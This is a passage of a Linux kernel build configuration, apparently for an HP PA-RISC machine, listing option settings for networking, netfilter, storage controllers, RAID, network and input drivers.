CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=m
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=y
CONFIG_TCP_CONG_CUBIC=m
CONFIG_TCP_CONG_WESTWOOD=m
CONFIG_TCP_CONG_HTCP=m
CONFIG_TCP_CONG_HSTCP=m
CONFIG_TCP_CONG_HYBLA=m
CONFIG_TCP_CONG_VEGAS=m
CONFIG_TCP_CONG_SCALABLE=m
CONFIG_TCP_CONG_LP=m
CONFIG_TCP_CONG_VENO=m
CONFIG_TCP_CONG_YEAH=m
CONFIG_TCP_CONG_ILLINOIS=m
CONFIG_DEFAULT_BIC=y
# CONFIG_DEFAULT_CUBIC is not set
# CONFIG_DEFAULT_HTCP is not set
# CONFIG_DEFAULT_VEGAS is not set
# CONFIG_DEFAULT_WESTWOOD is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="bic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IP_VS=m
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=m
CONFIG_IP_VS_WRR=m
CONFIG_IP_VS_LC=m
CONFIG_IP_VS_WLC=m
CONFIG_IP_VS_LBLC=m
CONFIG_IP_VS_LBLCR=m
CONFIG_IP_VS_DH=m
CONFIG_IP_VS_SH=m
CONFIG_IP_VS_SED=m
CONFIG_IP_VS_NQ=m

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=m
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_NETLABEL is not set
CONFIG_NETWORK_SECMARK=y
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK_ENABLED=m
CONFIG_NF_CONNTRACK=m
CONFIG_NF_CT_ACCT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CT_PROTO_GRE=m
CONFIG_NF_CT_PROTO_SCTP=m
CONFIG_NF_CT_PROTO_UDPLITE=m
CONFIG_NF_CONNTRACK_AMANDA=m
CONFIG_NF_CONNTRACK_FTP=m
CONFIG_NF_CONNTRACK_H323=m
CONFIG_NF_CONNTRACK_IRC=m
CONFIG_NF_CONNTRACK_NETBIOS_NS=m
CONFIG_NF_CONNTRACK_PPTP=m
CONFIG_NF_CONNTRACK_SANE=m
CONFIG_NF_CONNTRACK_SIP=m
CONFIG_NF_CONNTRACK_TFTP=m
CONFIG_NF_CT_NETLINK=m
CONFIG_NETFILTER_XTABLES=m
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_CONNMARK=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_NFLOG=m
CONFIG_NETFILTER_XT_TARGET_NOTRACK=m
CONFIG_NETFILTER_XT_TARGET_TRACE=m
CONFIG_NETFILTER_XT_TARGET_SECMARK=m
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=m
CONFIG_NETFILTER_XT_TARGET_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m
CONFIG_NETFILTER_XT_MATCH_CONNMARK=m
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
CONFIG_NETFILTER_XT_MATCH_HELPER=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
CONFIG_NETFILTER_XT_MATCH_QUOTA=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_SCTP=m
CONFIG_NETFILTER_XT_MATCH_STATE=m
CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_TIME=m
CONFIG_NETFILTER_XT_MATCH_U32=m
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m

#
# IP: Netfilter Configuration
#
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_IPRANGE=m
CONFIG_IP_NF_MATCH_TOS=m
CONFIG_IP_NF_MATCH_RECENT=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_MATCH_OWNER=m
CONFIG_IP_NF_MATCH_ADDRTYPE=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
CONFIG_IP_NF_TARGET_REDIRECT=m
CONFIG_IP_NF_TARGET_NETMAP=m
CONFIG_IP_NF_TARGET_SAME=m
CONFIG_NF_NAT_SNMP_BASIC=m
CONFIG_NF_NAT_PROTO_GRE=m
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
CONFIG_NF_NAT_TFTP=m
CONFIG_NF_NAT_AMANDA=m
CONFIG_NF_NAT_PPTP=m
CONFIG_NF_NAT_H323=m
CONFIG_NF_NAT_SIP=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_TOS=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_TARGET_CLUSTERIP=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m

#
# IPv6: Netfilter Configuration (EXPERIMENTAL)
#
CONFIG_NF_CONNTRACK_IPV6=m
CONFIG_IP6_NF_QUEUE=m
CONFIG_IP6_NF_IPTABLES=m
CONFIG_IP6_NF_MATCH_RT=m
CONFIG_IP6_NF_MATCH_OPTS=m
CONFIG_IP6_NF_MATCH_FRAG=m
CONFIG_IP6_NF_MATCH_HL=m
CONFIG_IP6_NF_MATCH_OWNER=m
CONFIG_IP6_NF_MATCH_IPV6HEADER=m
CONFIG_IP6_NF_MATCH_AH=m
CONFIG_IP6_NF_MATCH_MH=m
CONFIG_IP6_NF_MATCH_EUI64=m
CONFIG_IP6_NF_FILTER=m
CONFIG_IP6_NF_TARGET_LOG=m
CONFIG_IP6_NF_TARGET_REJECT=m
CONFIG_IP6_NF_MANGLE=m
CONFIG_IP6_NF_TARGET_HL=m
CONFIG_IP6_NF_RAW=m

#
# Bridge: Netfilter Configuration
#
CONFIG_BRIDGE_NF_EBTABLES=m
CONFIG_BRIDGE_EBT_BROUTE=m
CONFIG_BRIDGE_EBT_T_FILTER=m
CONFIG_BRIDGE_EBT_T_NAT=m
CONFIG_BRIDGE_EBT_802_3=m
CONFIG_BRIDGE_EBT_AMONG=m
CONFIG_BRIDGE_EBT_ARP=m
CONFIG_BRIDGE_EBT_IP=m
CONFIG_BRIDGE_EBT_LIMIT=m
CONFIG_BRIDGE_EBT_MARK=m
CONFIG_BRIDGE_EBT_PKTTYPE=m
CONFIG_BRIDGE_EBT_STP=m
CONFIG_BRIDGE_EBT_VLAN=m
CONFIG_BRIDGE_EBT_ARPREPLY=m
CONFIG_BRIDGE_EBT_DNAT=m
CONFIG_BRIDGE_EBT_MARK_T=m
CONFIG_BRIDGE_EBT_REDIRECT=m
CONFIG_BRIDGE_EBT_SNAT=m
CONFIG_BRIDGE_EBT_LOG=m
CONFIG_BRIDGE_EBT_ULOG=m
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m
CONFIG_IP_DCCP_ACKVEC=y

#
# DCCP CCIDs Configuration (EXPERIMENTAL)
#
CONFIG_IP_DCCP_CCID2=m
# CONFIG_IP_DCCP_CCID2_DEBUG is not set
CONFIG_IP_DCCP_CCID3=m
CONFIG_IP_DCCP_TFRC_LIB=m
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_CCID3_RTO=100

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
# CONFIG_SCTP_HMAC_SHA1 is not set
CONFIG_SCTP_HMAC_MD5=y
CONFIG_TIPC=m
CONFIG_TIPC_ADVANCED=y
CONFIG_TIPC_ZONES=3
CONFIG_TIPC_CLUSTERS=1
CONFIG_TIPC_NODES=255
CONFIG_TIPC_SLAVE_NODES=0
CONFIG_TIPC_PORTS=8191
CONFIG_TIPC_LOG=0
# CONFIG_TIPC_DEBUG is not set
# CONFIG_ATM is not set
CONFIG_BRIDGE=m
CONFIG_VLAN_8021Q=m
# CONFIG_DECNET is not set
CONFIG_LLC=m
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_CBQ=m
CONFIG_NET_SCH_HTB=m
CONFIG_NET_SCH_HFSC=m
CONFIG_NET_SCH_PRIO=m
CONFIG_NET_SCH_RR=m
CONFIG_NET_SCH_RED=m
CONFIG_NET_SCH_SFQ=m
CONFIG_NET_SCH_TEQL=m
CONFIG_NET_SCH_TBF=m
CONFIG_NET_SCH_GRED=m
CONFIG_NET_SCH_DSMARK=m
CONFIG_NET_SCH_NETEM=m
CONFIG_NET_SCH_INGRESS=m

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=m
CONFIG_NET_CLS_TCINDEX=m
CONFIG_NET_CLS_ROUTE4=m
CONFIG_NET_CLS_ROUTE=y
CONFIG_NET_CLS_FW=m
CONFIG_NET_CLS_U32=m
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_RSVP=m
CONFIG_NET_CLS_RSVP6=m
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=m
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_NET_EMATCH_U32=m
CONFIG_NET_EMATCH_META=m
CONFIG_NET_EMATCH_TEXT=m
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=m
CONFIG_NET_ACT_GACT=m
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=m
CONFIG_NET_ACT_IPT=m
CONFIG_NET_ACT_NAT=m
CONFIG_NET_ACT_PEDIT=m
CONFIG_NET_ACT_SIMP=m
# CONFIG_NET_CLS_POLICE is not set
CONFIG_NET_CLS_IND=y
CONFIG_NET_SCH_FIFO=y

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set

#
# Wireless
#
# CONFIG_CFG80211 is not set
# CONFIG_WIRELESS_EXT is not set
# CONFIG_MAC80211 is not set
# CONFIG_IEEE80211 is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
CONFIG_CONNECTOR=m
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_SERIAL=m
CONFIG_PARPORT_PC_FIFO=y
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_GSC=y
CONFIG_PARPORT_AX88796=m
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
CONFIG_BLK_DEV_RAM_BLOCKSIZE=1024
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
# CONFIG_CDROM_PKTCDVD_WCACHE is not set
CONFIG_ATA_OVER_ETH=m
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_EEPROM_93CX6 is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
CONFIG_IDE=m
CONFIG_BLK_DEV_IDE=m

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_BLK_DEV_IDEDISK=m
# CONFIG_IDEDISK_MULTI_MODE is not set
CONFIG_BLK_DEV_IDECD=m
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_BLK_DEV_IDEFLOPPY is not set
# CONFIG_BLK_DEV_IDESCSI is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
CONFIG_IDE_GENERIC=m
# CONFIG_BLK_DEV_PLATFORM is not set

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_SHARE_IRQ=y
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CY82C693 is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT34X is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=m
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
# CONFIG_IDE_ARM is not set

#
# Other IDE chipsets support
#

#
# Note: most of these also require special kernel boot parameters
#
# CONFIG_BLK_DEV_4DRIVES is not set
# CONFIG_BLK_DEV_ALI14XX is not set
# CONFIG_BLK_DEV_DTC2278 is not set
# CONFIG_BLK_DEV_HT6560B is not set
# CONFIG_BLK_DEV_QD65XX is not set
# CONFIG_BLK_DEV_UMC8672 is not set
CONFIG_BLK_DEV_IDEDMA=y
CONFIG_IDE_ARCH_OBSOLETE_INIT=y
# CONFIG_BLK_DEV_HD is not set

#
# SCSI device support
#
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=m
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
# CONFIG_SCSI_FC_TGT_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=y
# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
CONFIG_SCSI_SRP_ATTRS=m
# CONFIG_SCSI_SRP_TGT_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
CONFIG_SCSI_AIC94XX=y
# CONFIG_AIC94XX_DEBUG is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
CONFIG_SCSI_SRP=m
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=m
CONFIG_MD_RAID5_RESHAPE=y
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
CONFIG_DM_MULTIPATH_EMC=m
# CONFIG_DM_MULTIPATH_RDAC is not set
# CONFIG_DM_MULTIPATH_HP is not set
CONFIG_DM_DELAY=m
# CONFIG_DM_UEVENT is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
CONFIG_I2O=m
CONFIG_I2O_LCT_NOTIFY_ON_CHANGES=y
CONFIG_I2O_EXT_ADAPTEC=y
CONFIG_I2O_EXT_ADAPTEC_DMA64=y
CONFIG_I2O_CONFIG=m
CONFIG_I2O_CONFIG_OLD_IOCTL=y
CONFIG_I2O_BUS=m
CONFIG_I2O_BLOCK=m
CONFIG_I2O_SCSI=m
CONFIG_I2O_PROC=m
CONFIG_NETDEVICES=y
# CONFIG_NETDEVICES_MULTIQUEUE is not set
CONFIG_IFB=m
CONFIG_DUMMY=m
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_IP1000 is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
# CONFIG_ICPLUS_PHY is not set
CONFIG_FIXED_PHY=m
# CONFIG_FIXED_MII_10_FDX is not set
# CONFIG_FIXED_MII_100_FDX is not set
# CONFIG_FIXED_MII_1000_FDX is not set
CONFIG_FIXED_MII_AMNT=1
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
# CONFIG_LASI_82596 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_NET_PCI is not set
# CONFIG_B44 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
# CONFIG_WLAN_80211 is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PLIP=m
CONFIG_PPP=m
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
CONFIG_SLIP=m
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLHC=m
CONFIG_SLIP_SMART=y
# CONFIG_SLIP_MODE_SLIP6 is not set
# CONFIG_NET_FC is not set
CONFIG_SHAPER=m
CONFIG_NETCONSOLE=m
# CONFIG_NETCONSOLE_DYNAMIC is not set
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=m
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
CONFIG_KEYBOARD_STOWAWAY=m
CONFIG_KEYBOARD_HIL_OLD=m
CONFIG_KEYBOARD_HIL=m
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=m
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_INPORT is not set
# CONFIG_MOUSE_LOGIBM is not set
# CONFIG_MOUSE_PC110PAD is not set
# CONFIG_MOUSE_VSXXXAA is not set
CONFIG_MOUSE_HIL=m
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
CONFIG_INPUT_ATI_REMOTE=m
CONFIG_INPUT_ATI_REMOTE2=m
CONFIG_INPUT_KEYSPAN_REMOTE=m
CONFIG_INPUT_POWERMATE=m
CONFIG_INPUT_YEALINK=m
# CONFIG_INPUT_UINPUT is not set
CONFIG_HP_SDC_RTC=m

#
# Hardware I/O ports
#
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
